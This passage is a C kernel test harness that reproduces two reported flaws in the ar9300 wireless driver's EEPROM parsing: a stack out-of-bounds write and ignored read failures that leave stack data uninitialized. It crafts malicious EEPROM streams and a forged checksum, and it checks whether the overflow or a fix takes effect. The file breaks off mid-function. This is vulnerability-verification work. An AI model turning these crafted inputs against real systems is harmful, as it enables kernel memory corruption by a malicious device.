DF-2255 / df2255_harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 | /* * df2255_harness.c -- kernel-compiled verification rig for * DF-2255 (stack OOB write in ar9300_eeprom_restore_internal_address) * DF-2256 (ar9300_calibration_data_read_array ignores read failures, * leaves destination slots uninitialized) * * Rig class: verbatim-code harness around the real eeprom-parsing entry. * The target functions are #included BYTE-IDENTICAL from the live * /usr/src/sys/contrib/dev/ath/ath_hal/ar9300/ar9300_eeprom.c by * extract.sh (see df2255_verbatim.inc + extract.log with sha256 gate). * The ath HAL entry is hardware-gated (attach-time parse of on-card * EEPROM), so the HAL state and eeprom device are fabricated here * exactly as the driver would present them at attach: * * - struct ath_hal / struct ath_hal_9300 minimal stand-ins with the * fields the verbatim code touches (calibration_data_source, the * ah_eepromRead method pointer, ah_eeprom image). * - fake_eeprom[] models the on-card serial eeprom contents; the * ah_eepromRead stub models a physical device of * fake_eeprom_dev_bytes bytes: word reads past the end of the * device fail, exactly like real hardware NAKs. * - the trigger is the real ar9300_eeprom_restore_internal_address() * call that ar9300_eeprom_restore_internal() makes at attach * (ar9300_eeprom.c:4186-4188) with cptr=4095 (4KB eeprom top), * blank=0xff, mdata_size=sizeof(eeprom image). * * Trigger: sysctl kern.df2255.rig="<command>" (root) * Commands: * info - rig constants + counter state * arrfail - DF-2256: read_array ignores per-byte read failures * uninit - DF-2256: stale/uninit word[0..3] drives length (amplifier) * otp2k - DF-2256/2255 scope: 2KB device, partial read failure * chk - DF-2255 helper: additive checksum gate passes (attacker- * computable), code dispatch + uncompress reach mptr * ovf <len> - DF-2255: full attack sim, 4KB device, len in 2043..2047 * ovfall - DF-2255: len = 2043..2047, one..five bytes OOB * diff - DF-2255: two runs, differing eeprom tail; stack window * diff shows exactly which bytes past word[2047] move * * All evidence is printed with the "DFH:" prefix on the console/dmesg. */ #include <sys/param.h> #include <sys/types.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/sysctl.h> #include <sys/proc.h> #include <sys/thread.h> #include <sys/libkern.h> /* ------------------------------------------------------------------ */ /* fake HAL plumbing -- the macros/types the verbatim code expects. */ /* ------------------------------------------------------------------ */ typedef int HAL_BOOL; #define AH_TRUE 1 #define AH_FALSE 0 #define OS_MEMCPY(d, s, n) memcpy((d), (s), (n)) #define ARRAY_LENGTH(x) (sizeof(x) / sizeof((x)[0])) #define HALASSERT(x) do { \ if (!(x)) kprintf("DFH: HALASSERT failed: %s\n", #x); \ } while (0) static int df2255_haldebug; #define HALDEBUG(ah, m, ...) do { \ if (df2255_haldebug) kprintf(__VA_ARGS__); \ } while (0) /* constants cross-checked byte-exact against ar9300eep.h by extract.sh */ #define MSTATE 100 #define MOUTPUT 2048 #define MDEFAULT 15 #define MVALUE 100 enum CompressAlgorithm { _compress_none = 0, _compress_lzma, _compress_pairs, _compress_block, _compress4, _compress5, _compress6, _compress7, }; enum { calibration_data_none = 0, calibration_data_dram, calibration_data_flash, calibration_data_eeprom, calibration_data_otp, }; #define reference_current 0 #define compression_header_length 4 #define compression_checksum_length 2 #define AR9300_EEPROM_SIZE 16*1024 /* * Minimal fake HAL objects. struct ath_hal_9300 starts with the same * ah_eepromRead method-pointer member as struct ath_hal so the * AH9300(ah) / AH_PRIVATE(ah) casts used by the verbatim code address * the right bytes. */ struct ath_hal { HAL_BOOL (*ah_eepromRead)(struct ath_hal *, u_int off, u_int16_t *data); }; #define AH_PRIVATE(_ah) (_ah) #define ath_hal_eepromRead(_ah, _off, _data) \ AH_PRIVATE(_ah)->ah_eepromRead((_ah), (_off), (_data)) typedef struct ar9300_eeprom_img { /* stand-in eeprom image */ int template_version; /* member used by find_by_id */ unsigned char b[MOUTPUT - 4]; } ar9300_eeprom_t; struct ath_hal_9300 { HAL_BOOL (*ah_eepromRead)(struct ath_hal *, u_int off, u_int16_t *data); int calibration_data_source; ar9300_eeprom_t ah_eeprom; }; #define AH9300(_ah) ((struct ath_hal_9300 *)(_ah)) /* no compiled-in default templates in the rig */ static ar9300_eeprom_t *default9300[] = { NULL }; /* ------------------------------------------------------------------ */ /* VERBATIM TARGET CODE -- byte-identical extraction, sha256-gated. */ /* ------------------------------------------------------------------ */ /* * The stock X86_64_GENERIC kernel already links the contrib ath_hal * (device ath_hal), so the verbatim functions are given df2255_-aliased * linkage names via the preprocessor. This renames SYMBOLS only: the * extracted text in df2255_verbatim.inc stays byte-identical (sha256 * gate in extract.sh), and function bodies / stack layout are compiled * exactly as written. */ #define ar9300_eeprom_struct_default_find_by_id \ df2255_ar9300_eeprom_struct_default_find_by_id #define ar9300_calibration_data_read_eeprom \ df2255_ar9300_calibration_data_read_eeprom #define ar9300_calibration_data_read \ df2255_ar9300_calibration_data_read #define ar9300_calibration_data_read_array \ df2255_ar9300_calibration_data_read_array #define ar9300_compression_checksum \ df2255_ar9300_compression_checksum #define ar9300_compression_header_unpack \ df2255_ar9300_compression_header_unpack #define ar9300_calibration_data_read_flash \ df2255_ar9300_calibration_data_read_flash #define ar9300_calibration_data_read_otp \ df2255_ar9300_calibration_data_read_otp /* prototypes for the verbatim-extracted functions (-Wmissing-prototypes) */ ar9300_eeprom_t *ar9300_eeprom_struct_default_find_by_id(int id); HAL_BOOL ar9300_calibration_data_read_eeprom(struct ath_hal *ah, long address, u_int8_t *buffer, int many); HAL_BOOL ar9300_calibration_data_read(struct ath_hal *ah, long address, u_int8_t *buffer, int many); HAL_BOOL ar9300_calibration_data_read_array(struct ath_hal *ah, int address, u_int8_t *buffer, int many); u_int16_t ar9300_compression_checksum(u_int8_t *data, int dsize); int ar9300_compression_header_unpack(u_int8_t *best, int *code, int *reference, int *length, int *major, int *minor); static HAL_BOOL ar9300_uncompress_block(struct ath_hal *ah, u_int8_t *mptr, int mdata_size, u_int8_t *block, int size); static int ar9300_eeprom_restore_internal_address(struct ath_hal *ah, ar9300_eeprom_t *mptr, int mdata_size, int cptr, u_int8_t blank); /* * The verbatim ar9300_calibration_data_read() dispatch also references * the flash and otp readers. The DragonFly in-tree flash reader is a * stub that always fails (ar9300_eeprom.c:3595-3604); the rig never * selects the otp source, so a failing stub is faithful for both. */ HAL_BOOL ar9300_calibration_data_read_flash(struct ath_hal *ah, long address, u_int8_t *buffer, int many); HAL_BOOL ar9300_calibration_data_read_otp(struct ath_hal *ah, long address, u_int8_t *buffer, int many, HAL_BOOL is_wifi); #include "df2255_verbatim.inc" HAL_BOOL ar9300_calibration_data_read_flash(struct ath_hal *ah, long address, u_int8_t *buffer, int many) { (void)ah; (void)address; (void)buffer; (void)many; return AH_FALSE; } HAL_BOOL ar9300_calibration_data_read_otp(struct ath_hal *ah, long address, u_int8_t *buffer, int many, HAL_BOOL is_wifi) { (void)ah; (void)address; (void)buffer; (void)many; (void)is_wifi; return AH_FALSE; } /* ------------------------------------------------------------------ */ /* fake eeprom device */ /* ------------------------------------------------------------------ */ static unsigned char fake_eeprom[AR9300_EEPROM_SIZE]; static long fake_eeprom_dev_bytes = 4096; /* physical device size */ static int fake_fail_all_reads; /* 1: every word read NAKs */ static long stat_reads, stat_read_fails; /* ah_eepromRead outcomes */ static HAL_BOOL df2255_eeprom_read_word(struct ath_hal *ah, u_int off, u_int16_t *data) { (void)ah; if (fake_fail_all_reads || ((long)off + 1) * 2 > fake_eeprom_dev_bytes) { stat_read_fails++; return AH_FALSE; } *data = (u_int16_t)(fake_eeprom[off * 2] | (((u_int16_t)fake_eeprom[off * 2 + 1]) << 8)); stat_reads++; return AH_TRUE; } static struct ath_hal_9300 df_ah9300; /* BSS: zeroed, fnptr set in df2255_rig_init() below */ /* ------------------------------------------------------------------ */ /* stack-window probe machinery */ /* ------------------------------------------------------------------ */ /* * The window is the stretch of kernel stack directly below the anchor * local. The verbatim function (called through a volatile function * pointer, so it is never inlined) allocates its ~2.1KB frame inside * this window; word[MOUTPUT] lands ~1.9-2.0KB below the anchor. * PROBE_WIN is chosen so the window fully contains the callee frame * with margin, and the signature scan limit guarantees dump reads * stay inside the window arrays. */ #define PROBE_WIN 8192 #define SCAN_LIMIT (PROBE_WIN - 2100) /* dump-safe search limit */ static unsigned char win_a[PROBE_WIN], win_b[PROBE_WIN]; /* * word[0] sits at a deterministic offset in the verbatim function's * frame; every successful locate on this rig found it at 6080. When * the parse walk overwrites word[0..15] (guarded/fixed kernels), fall * back to the last-known offset so the region can still be dumped and * checked. */ #define WORD_OFF_FALLBACK 6080 static int dfh_last_word_off = WORD_OFF_FALLBACK; static int find_signature(const unsigned char *w, int len, const unsigned char *sig, int slen) { int i, j; for (i = 0; i + slen <= len; i++) { for (j = 0; j < slen; j++) if (w[i + j] != sig[j]) break; if (j == slen) return i; } return -1; } /* * Call the verbatim ar9300_eeprom_restore_internal_address() with the * kernel-stack region below the current frame pre-filled with `fill`. * Immediately on return, snapshot the (now dead) callee frame into * out_win with a volatile copy loop (no call, no stack growth, so the * dead frame is not disturbed before it is captured). */ static int restore_case(ar9300_eeprom_t *mdest, int cptr, int blank, unsigned char fill, int do_fill, unsigned char *out_win) { struct ath_hal *ah = (struct ath_hal *)&df_ah9300; volatile unsigned char *anchor, *dst; const volatile unsigned char *src; int (*volatile fp)(struct ath_hal *, ar9300_eeprom_t *, int, int, u_int8_t); int r, i; memset(mdest, 0, MOUTPUT); anchor = (volatile unsigned char *)&anchor; /* stay safely inside this kernel stack */ if ((char *)(uintptr_t)(anchor - PROBE_WIN) < curthread->td_kstack + 1024) { kprintf("DFH: probe window would leave kstack -- skipping\n"); return -2; } if (do_fill) { for (i = 0; i < PROBE_WIN; i++) anchor[-PROBE_WIN + i] = fill; __asm __volatile("" ::: "memory"); } fp = ar9300_eeprom_restore_internal_address; r = fp(ah, mdest, (int)sizeof(*mdest), cptr, (u_int8_t)blank); /* capture the dead frame region before anything else reuses it */ src = anchor - PROBE_WIN; dst = out_win; for (i = 0; i < PROBE_WIN; i++) dst[i] = src[i]; return r; } /* * Craft a compressed-cal block stream at eeprom top address cptr: * stream[j] lands at fake_eeprom[cptr - j] (read_array reads downward) * stream[0..3] = header: code=_compress_block, ref=0, length=len * stream[4...] = payload pattern (i ^ 0x5A) * stream[>=2048] = 0xE0.. distinctive OOB-region values (positions * that can only be *written* past word[2047] when * len >= 2043 on a device where the read succeeds) * stored additive checksum at stream[4+len..5+len] is computed when * with_checksum is set (used by "chk" with small len). */ static void craft_stream(int cptr, int len, int with_checksum) { unsigned char stream[4 + 2047 + 2]; int i, csum = 0; memset(stream, 0, sizeof(stream)); stream[0] = (unsigned char)((_compress_block << 5) | (0 & 0x1f)); stream[1] = (unsigned char)(((len >> 4) & 0x7f) | ((0 >> 5) << 2)); stream[2] = (unsigned char)(((len & 0x0f) << 4) | 7); /* major=7 */ stream[3] = 9; /* minor=9 */ for (i = 0; i < len; i++) { if (4 + i >= 2048) stream[4 + i] = (unsigned char)(0xE0 + (4 + i - 2048)); else stream[4 + i] = (unsigned char)(i ^ 0x5A); } if (with_checksum) { for (i = 0; i < len; i++) csum = (csum + stream[4 + i]) & 0xffff; stream[4 + len] = (unsigned char)(csum & 0xff); stream[5 + len] = (unsigned char)(csum >> 8); } else { if (4 + len >= 2048) stream[4 + len] = (unsigned char)(0xE0 + (4 + len - 2048)); else stream[4 + len] = 0x00; if (5 + len >= 2048) stream[5 + len] = (unsigned char)(0xE0 + (5 + len - 2048)); else stream[5 + len] = 0x00; } for (i = 0; i < 4 + len + 2; i++) { if (cptr - i < 0 || cptr - i >= AR9300_EEPROM_SIZE) continue; fake_eeprom[cptr - i] = stream[i]; } } /* signature of word[0..15] as crafted above */ static void make_sig(unsigned char *sig, int len) { int i; sig[0] = (unsigned char)((_compress_block << 5)); sig[1] = (unsigned char)(((len >> 4) & 0x7f)); sig[2] = (unsigned char)(((len & 0x0f) << 4) | 7); sig[3] = 9; for (i = 0; i < 12; i++) sig[4 + i] = (unsigned char)(i ^ 0x5A); } /* * Locate word[0] in a captured window: try the full 16-byte signature, * then 8 bytes, then just the 4 header bytes. Returns the offset and * sets *slen to the signature length that matched. */ static int locate_word(const unsigned char *win, const unsigned char *sig, int *slen) { /* * word[4..11] always hold the payload pattern (i ^ 0x5A) when a * crafted block was parsed, even if word[0..3] were later re-read * from a zeroed region -- so fall back to matching the pattern and * deriving word[0] = match - 4. */ static const unsigned char patsig[8] = { 0x5A, 0x5B, 0x58, 0x59, 0x5E, 0x5F, 0x5C, 0x5D }; int off; off = find_signature(win, SCAN_LIMIT, sig, 16); if (off >= 0) { *slen = 16; dfh_last_word_off = off; return off; } off = find_signature(win, SCAN_LIMIT, sig, 8); if (off >= 0) { *slen = 8; dfh_last_word_off = off; return off; } off = find_signature(win, SCAN_LIMIT, sig, 4); if (off >= 0) { *slen = 4; dfh_last_word_off = off; return off; } off = find_signature(win, SCAN_LIMIT, patsig, 8); if (off >= 0) { *slen = -8; dfh_last_word_off = off - 4; return off - 4; } *slen = 0; return -1; } /* * Plant header+pattern at cptr2 = cptr - (len + 6): the parse loop * walks DOWN, so after the crafted block at cptr the next iteration * re-reads its header from cptr2; planting the same bytes there keeps * word[0..15] holding the crafted stream when the function returns. */ static void plant_next_header(int cptr, int len) { int cptr2 = cptr - (len + 6); int i; if (cptr2 - 3 < 0) return; for (i = 0; i < 20; i++) { unsigned char v; if (i == 0) v = (unsigned char)(_compress_block << 5); else if (i == 1) v = (unsigned char)((len >> 4) & 0x7f); else if (i == 2) v = (unsigned char)(((len & 0x0f) << 4) | 7); else if (i == 3) v = 9; else v = (unsigned char)((i - 4) ^ 0x5A); fake_eeprom[cptr2 - i] = v; } } /* hexdump a window region (for interactive forensics) */ static void hexdump_region(const char *tag, const unsigned char *win, int start, int len) { int i; for (i = 0; i < len; i += 16) { int j; kprintf("DFH: %s +%04x:", tag, start + i); for (j = 0; j < 16 && i + j < len; j++) kprintf(" %02x", win[start + i + j]); kprintf("\n"); } } static void dump_word_region(const char *tag, const unsigned char *win, int off) { int i; if (off < 0) { kprintf("DFH: %s word[0] SIGNATURE NOT FOUND in window\n", tag); return; } kprintf("DFH: %s word[0] at window+%d word[2040..2063]:", tag, off); for (i = 2040; i < 2064; i++) kprintf(" %02x", win[off + i]); kprintf("\n"); } static int check_oob(const char *tag, const unsigned char *win, int off, int len) { int n = len + 6 - MOUTPUT; /* bytes written past word[2047] */ int i, ok = 1, sentinel = 1; if (n <= 0) { kprintf("DFH: %s len=%d -> read of %d bytes fits, no OOB\n", tag, len, len + 6); return 0; } kprintf("DFH: %s len=%d -> read_array of %d bytes into word[%d]:", tag, len, len + 6, MOUTPUT); for (i = 0; i < n; i++) kprintf(" %02x", win[off + MOUTPUT + i]); kprintf(" (attacker eeprom values"); for (i = 0; i < n; i++) kprintf(" %02x", 0xE0 + i); for (i = 0; i < n; i++) { if (win[off + MOUTPUT + i] != (unsigned char)(0xE0 + i)) ok = 0; if (win[off + MOUTPUT + i] != 0xA5) sentinel = 0; } kprintf(") "); if (ok) kprintf("*** OOB WRITE CONFIRMED: eeprom-controlled kernel-stack " "bytes past word[2047] ***\n"); else if (sentinel) kprintf("no eeprom bytes landed past word[2047] (sentinel " "intact -- FIX EFFECTIVE)\n"); else kprintf("MISMATCH (neither attacker values nor sentinel)\n"); return ok; } /* ------------------------------------------------------------------ */ /* command implementations */ /* ------------------------------------------------------------------ */ static char df2255_status[256]; /* fill/snapshot machinery self-test: no verbatim call involved */ static void case_selftest(void) { volatile unsigned char *anchor; const volatile unsigned char *src; volatile unsigned char *dst; int i, sent = 0; anchor = (volatile unsigned char *)&anchor; if ((char *)(uintptr_t)(anchor - PROBE_WIN) < curthread->td_kstack + 1024) { kprintf("DFH: selftest: window would leave kstack\n"); return; } for (i = 0; i < PROBE_WIN; i++) anchor[-PROBE_WIN + i] = 0xA5; __asm __volatile("" ::: "memory"); src = anchor - PROBE_WIN; dst = win_a; for (i = 0; i < PROBE_WIN; i++) dst[i] = src[i]; for (i = 0; i < PROBE_WIN; i++) if (win_a[i] == 0xA5) sent++; kprintf("DFH: selftest: anchor=%p kstack=%p kstack_size=%d " "sentinel %d/%d\n", (void *)(uintptr_t)anchor, curthread->td_kstack, curthread->td_kstack_size, sent, PROBE_WIN); hexdump_region("selftest", win_a, 0, 32); } static void case_info(void) { ksprintf(df2255_status, "MOUTPUT=%d MSTATE=%d hdr=%d csum=%d EEP_SIZE=%d imgsz=%ld " "reads=%ld fails=%ld", MOUTPUT, MSTATE, compression_header_length, compression_checksum_length, AR9300_EEPROM_SIZE, (long)sizeof(ar9300_eeprom_t), stat_reads, stat_read_fails); kprintf("DFH: info: %s\n", df2255_status); kprintf("DFH: info: rig target = verbatim ar9300_eeprom_restore_" "internal_address (DF-2255) + ar9300_calibration_data_read_array" " (DF-2256)\n"); } /* DF-2256 primary: failures ignored, AH_TRUE returned, slots stale */ static void case_arrfail(void) { unsigned char buf[64]; int i, rv, stale = 0; long r0, f0; memset(buf, 0xCC, sizeof(buf)); df_ah9300.calibration_data_source = calibration_data_eeprom; fake_eeprom_dev_bytes = 4096; fake_fail_all_reads = 0; fake_eeprom[0] = 0x33; fake_eeprom[1] = 0x22; fake_eeprom[2] = 0x11; r0 = stat_reads; f0 = stat_read_fails; rv = ar9300_calibration_data_read_array( (struct ath_hal *)&df_ah9300, 2, buf, 16); kprintf("DFH: arrfail: read_array(addr=2, many=16) on 4KB dev -> " "retval=%d (AH_TRUE=%d); device-stub reads=%ld (the 13 negative" "-address reads were rejected by the address<0 check inside the" " verbatim read_eeprom before ever reaching the device)\n", rv, AH_TRUE, stat_reads - r0); kprintf("DFH: arrfail: buf after call:"); for (i = 0; i < 16; i++) kprintf(" %02x", buf[i]); kprintf("\n"); for (i = 3; i < 16; i++) if (buf[i] == 0xCC) stale++; kprintf("DFH: arrfail: addresses 2,1,0 read fine (buf[0..2]); " "addresses -1..-13 failed and their %d/13 slots still hold the " "pre-call sentinel; retval AH_TRUE=%d: %s\n", stale, rv == AH_TRUE, (rv == AH_TRUE && stale == 13) ? "*** DF-2256 CONFIRMED: failure ignored, AH_TRUE returned ***" : (rv == AH_FALSE && stale == 13) ? "FIX EFFECTIVE: failure propagated (AH_FALSE), slots never " "written" : "MISMATCH"); ksprintf(df2255_status, "arrfail: rv=%d stale=%d/13", rv, stale); } /* * DF-2256 amplifier: word[0..3] left uninitialized when the header * read fails; the stale bytes then drive code/length. The stale * content is groomed by an earlier successful parse at the exact same * stack depth (models whatever previously used that kernel stack). * NO function calls between the two restore_case() invocations. */ static void case_uninit(void) { int r1, r2; ar9300_eeprom_t *mdest = &df_ah9300.ah_eeprom; long reads0, fails0, reads1, fails1; unsigned char sig[16]; int off; df_ah9300.calibration_data_source = calibration_data_eeprom; fake_eeprom_dev_bytes = 4096; fake_fail_all_reads = 0; memset(fake_eeprom, 0, sizeof(fake_eeprom)); craft_stream(4095, 2047, 0); plant_next_header(4095, 2047); /* groom: a successful parse writes header+pattern into word[] */ r1 = restore_case(mdest, 4095, 0xff, 0xA5, 1, win_a); /* device goes dark mid-life (unplugged eeprom / dead otp): * every word read now fails */ fake_fail_all_reads = 1; reads0 = stat_reads; fails0 = stat_read_fails; r2 = restore_case(mdest, 4095, 0xff, 0xA5, 0, win_b); /* NO re-fill */ reads1 = stat_reads; fails1 = stat_read_fails; kprintf("DFH: uninit: groom call ret=%d; fail-all call ret=%d " "reads=%ld fails=%ld\n", r1, r2, reads1 - reads0, fails1 - fails0); { long per_iter = 4 + 2047 + 2; long iters = (fails1 - fails0) / per_iter; kprintf("DFH: uninit: header read failed, word[0..3] kept stale " "groom bytes, blank-check compared GARBAGE, unpack derived " "length=2047 from UNINITIALIZED stack, payload read_array " "of %ld bytes into word[%d] (5 past the end), looped %ld " "times (MSTATE cap %d): ", per_iter, MOUTPUT, iters, MSTATE); if (fails1 - fails0 >= per_iter) kprintf("*** DF-2256 AMPLIFIER CONFIRMED: uninit stack " "drove many > MOUTPUT ***\n"); else if (fails1 - fails0 <= 8) kprintf("failure propagated after %ld read(s) -- FIX " "EFFECTIVE, no garbage-driven parse\n", fails1 - fails0); else kprintf("MISMATCH (%ld fails)\n", fails1 - fails0); ksprintf(df2255_status, "uninit: fails=%ld iters=%ld", fails1 - fails0, iters); } make_sig(sig, 2047); { int slen = 0; off = locate_word(win_b, sig, &slen); kprintf("DFH: uninit: fail-all frame still holds the groom " "stream (offset %d, siglen %d) -- failed reads never " "wrote it:\n", off, slen); if (off >= 0 && slen < 16) hexdump_region("uninit-win_b", win_b, off > 16 ? off - 16 : 0, 64); dump_word_region("uninit", win_b, off); } } /* 2KB device: payload read partially fails; no OOB write happens * (scope check for DF-2255) and uninit bytes feed the checksum */ static void case_otp2k(void) { int r, off, i, stale = 0; ar9300_eeprom_t *mdest = &df_ah9300.ah_eeprom; long reads0, fails0; unsigned char sig[16]; df_ah9300.calibration_data_source = calibration_data_eeprom; fake_eeprom_dev_bytes = 2048; fake_fail_all_reads = 0; memset(fake_eeprom, 0, sizeof(fake_eeprom)); craft_stream(2047, 2047, 0); plant_next_header(2047, 2047); /* no-op: cptr2 < 0 */ reads0 = stat_reads; fails0 = stat_read_fails; r = restore_case(mdest, 2047, 0xff, 0xA5, 1, win_a); kprintf("DFH: otp2k: cptr=2047 len=2047 on 2KB dev -> ret=%d " "reads=%ld fails=%ld\n", r, stat_reads - reads0, stat_read_fails - fails0); make_sig(sig, 2047); { int slen = 0; off = locate_word(win_a, sig, &slen); kprintf("DFH: otp2k: word[0] located at offset %d (siglen %d)\n", off, slen); if (off >= 0 && slen < 16) hexdump_region("otp2k-win_a", win_a, off > 16 ? off - 16 : 0, 64); } dump_word_region("otp2k", win_a, off); if (off >= 0) for (i = 0; i < 5; i++) if (win_a[off + MOUTPUT + i] == 0xA5) stale++; kprintf("DFH: otp2k: word[2048..2052] keeps pre-call content in " "%d/5 slots -> NO OOB write on a 2KB device (the 5 reads at " "negative addresses were rejected); those UNINITIALIZED bytes " "are still consumed by the checksum loop and the mchecksum " "compare at word[4+len],word[5+len]: DF-2256\n", stale); ksprintf(df2255_status, "otp2k: reads=%ld fails=%ld sentinel=%d/5", stat_reads - reads0, stat_read_fails - fails0, stale); } /* checksum gate is attacker-computable; dispatch applies payload */ static void case_chk(void) { int r, i, hit = 0, csum = 0; ar9300_eeprom_t *mdest = &df_ah9300.ah_eeprom; const char marker[16] = { 'D', 'F', '2', '2', '5', '5', '-', 'P', 'W', 'N', 'E', 'D', '-', 'O', 'K', '!' }; unsigned char *mb = (unsigned char *)&df_ah9300.ah_eeprom; df_ah9300.calibration_data_source = calibration_data_eeprom; fake_eeprom_dev_bytes = 4096; fake_fail_all_reads = 0; memset(fake_eeprom, 0, sizeof(fake_eeprom)); memset(mb, 0, MOUTPUT); craft_stream(4095, 1024, 0); /* valid pair-stream payload: (offset 0, len 16, marker), then * (0,0) no-op pairs to the end, then a matching additive checksum */ fake_eeprom[4095 - 4] = 0; /* pair offset */ fake_eeprom[4095 - 5] = 16; /* pair length */ for (i = 0; i < 16; i++) fake_eeprom[4095 - 6 - i] = (unsigned char)marker[i]; for (i = 22; i < 1024; i++) fake_eeprom[4095 - 4 - i] = 0; for (i = 0; i < 1024; i++) csum = (csum + fake_eeprom[4095 - 4 - i]) & 0xffff; fake_eeprom[4095 - 4 - 1024] = (unsigned char)(csum & 0xff); fake_eeprom[4095 - 5 - 1024] = (unsigned char)(csum >> 8); stat_reads = stat_read_fails = 0; r = restore_case(mdest, 4095, 0xff, 0xA5, 1, win_a); for (i = 0; i < 16; i++) if (mb[i] == (unsigned char)marker[i]) hit++; kprintf("DFH: chk: len=1024 code=_compress_block ret=%d reads=%ld " "fails=%ld\n", r, stat_reads, stat_read_fails); kprintf("DFH: chk: restored eeprom image starts with:"); for (i = 0; i < 16; i++) kprintf("%c", (mb[i] >= 32 && mb[i] < 127) ? mb[i] : '.'); kprintf("\n"); kprintf("DFH: chk: attacker-computed 16-bit additive checksum " "passed the gate, dispatch reached _compress_block and applied " "the payload to the in-RAM eeprom image: %s\n", hit == 16 ? "CONFIRMED (16/16 marker bytes)" : "MISMATCH"); ksprintf(df2255_status, "chk: ret=%d marker=%d/16", r, hit); } /* DF-2255: full attack on a 4KB-eeprom card */ static void case_ovf(int len) { int r, off; ar9300_eeprom_t *mdest = &df_ah9300.ah_eeprom; unsigned char sig[16]; long reads0, fails0; if (len < 2043 || len > 2047) { kprintf("DFH: ovf: len %d out of range 2043..2047\n", len); return; } df_ah9300.calibration_data_source = calibration_data_eeprom; fake_eeprom_dev_bytes = 4096; fake_fail_all_reads = 0; memset(fake_eeprom, 0, sizeof(fake_eeprom)); craft_stream(4095, len, 0); plant_next_header(4095, len); reads0 = stat_reads; fails0 = stat_read_fails; r = restore_case(mdest, 4095, 0xff, 0xA5, 1, win_a); kprintf("DFH: ovf len=%d: verbatim ret=%d byte-reads=%ld fails=%ld " "(cptr=4095, lowest byte address %d >= 0: every read succeeds " "on a 4KB device)\n", len, r, stat_reads - reads0, stat_read_fails - fails0, 4095 - (len + 5)); make_sig(sig, len); { int slen = 0; off = locate_word(win_a, sig, &slen); if (off < 0) { off = dfh_last_word_off; kprintf("DFH: ovf: locate failed, using last-known word[0] " "offset %d\n", off); } else kprintf("DFH: ovf: word[0] located at window offset %d " "(siglen %d)\n", off, slen); if (off >= 0 && slen < 16) hexdump_region("ovf-win_a", win_a, off > 16 ? off - 16 : 0, 64); dump_word_region("ovf", win_a, off); if (off < 0) { int base; kprintf("DFH: ovf: sampled window contents (first 8 bytes " "of every 256):\n"); for (base = 0; base < PROBE_WIN; base += 256) { int j; kprintf("DFH: ovf-win +%04x:", base); for (j = 0; j < 8; j++) kprintf(" %02x", win_a[base + j]); kprintf("\n"); } } if (off >= 0) check_oob("ovf", win_a, off, len); } } /* DF-2255: two runs, only the OOB-region eeprom bytes differ */ static void case_diff(void) { unsigned char sig[16]; int len = 2047, r1, r2, offa, offb, i, n = 0; ar9300_eeprom_t *mdest = &df_ah9300.ah_eeprom; df_ah9300.calibration_data_source = calibration_data_eeprom; 